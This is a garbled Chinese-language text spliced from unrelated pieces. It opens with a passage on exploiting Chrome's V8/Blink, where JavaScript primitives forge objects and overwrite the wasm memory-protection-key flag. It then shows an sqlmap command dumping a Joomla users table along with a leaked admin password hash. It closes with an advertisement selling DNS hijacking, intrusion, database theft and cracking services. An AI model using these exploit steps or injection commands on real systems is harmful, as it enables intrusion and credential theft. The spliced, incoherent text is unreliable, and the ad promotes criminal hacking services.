void SignalAttributeGetCallback(
const v8::FunctionCallbackInfo<v8::Value>& info) {
RUNTIME_CALL_TIMER_SCOPE_DISABLED_BY_DEFAULT(info.GetIsolate(),
"Blink_Request_signal_Getter");
BLINK_BINDINGS_TRACE_EVENT("Request.signal.get");

v8::Local<v8::Object> v8_receiver = info.This();
Request* blink_receiver = V8Request::ToWrappableUnsafe(v8_receiver);
auto&& return_value = blink_receiver->signal();
bindings::V8SetReturnValue(info, return_value, blink_receiver);
}
blink_receiver->signal 返回一个 auto 类型的对象，通过控制其返回目标的属性，我们似乎有办法令其主动返回一个我们期望的对象。

根据声明我们能够发现：

AbortSignal* signal() const { return signal_; }
其返回对象是一个 AbortSignal 指针，它也是一个 ScriptWrappable 对象，而通过 V8SetReturnValue 将会返回 main_world_wrapper_ 字段中的 V8 对象地址，而该对象的类型取决于其拥有的 map 。

那么我们的目标就很明确了，首先声明一个 Request 对象用以获取 signal ，然后找到一个与 signal_ 有相同偏移却能够由我们随意控制的对象，将其设定为伪造好的内存结构，然后再返回出来即可。

而该标志位于 libchrome.so 中，通过 Blink 对象的读取，我们仍然有办法得到其地址：

var shellArrayAddr = addrOf(shellArray);

let wrapperMatrix = new SubMatrix(imgAddr);
let wrapperAddr = ftoi(readFrom(loopCount, wrapperMatrix));
var wasmProtectionKeyAddr = wrapperAddr + wasmMemoryProtectionKeysOffset;
compressedWrite(shellArrayAddr + 0x2c, itof(wasmProtectionKeyAddr));
for (let i = 0; i < 8; i++) {
shellArray[i] = 0;
}

void CodeSpaceWriteScope::SetWritable() {
if (WasmCodeManager::MemoryProtectionKeysEnabled()) {
RwxMemoryWriteScope::SetWritable();
} else if (v8_flags.wasm_write_protect_code_memory) {
current_native_module_->AddWriter();
}
}
bool WasmCodeManager::MemoryProtectionKeysEnabled() {
return HasMemoryProtectionKeySupport() &&
v8_flags.wasm_memory_protection_keys;
}
WasmCodeAllocator::WasmCodeAllocator(std::shared_ptr<Counters> async_counters)
: protect_code_memory_(!V8_HAS_PTHREAD_JIT_WRITE_PROTECT &&
v8_flags.wasm_write_protect_code_memory &&
!WasmCodeManager::MemoryProtectionKeysEnabled()),
async_counters_(std::move(async_counters)) {
owned_code_space_.reserve(4);
}

我们主要关注其 map 属性的地址：

DebugPrint: 0x37910010ac69: [JS_OBJECT_TYPE]
- map: 0x37910025a061 <Map[20](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x379100244891 <Object map = 0x379100243f4d>
- elements: 0x379100002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x379100002259 <FixedArray[0]>
- All own properties (excluding elements): {
0x3791000041ed: [String] in ReadOnlySpace: #x: 1 (const data field 0), location: in-object
0x3791000041fd: [String] in ReadOnlySpace: #y: 2 (const data field 1), location: in-object
}

DebugPrint: 0x37910010acc1: [JS_OBJECT_TYPE]
- map: 0x37910025a061 <Map[20](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x379100244891 <Object map = 0x379100243f4d>
- elements: 0x379100002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x379100002259 <FixedArray[0]>
- All own properties (excluding elements): {
0x3791000041ed: [String] in ReadOnlySpace: #x: 2 (const data field 0), location: in-object
0x3791000041fd: [String] in ReadOnlySpace: #y: 3 (const data field 1), location: in-object
}

sqlmap -u "http://192.168.122.135/index.php?option=com_fields&view=fields&layout=modal&list
[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --col
umns -p list[fullordering]
ization. For non-commercial use, please indicate the source.


最后查这几个字段的数据,成功查出来用户名为admin和密码的hash值$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
DNS劫持，入侵 渗透 拖库 劫持 提权 破解等各类服务！咨询 ：@YaMaa8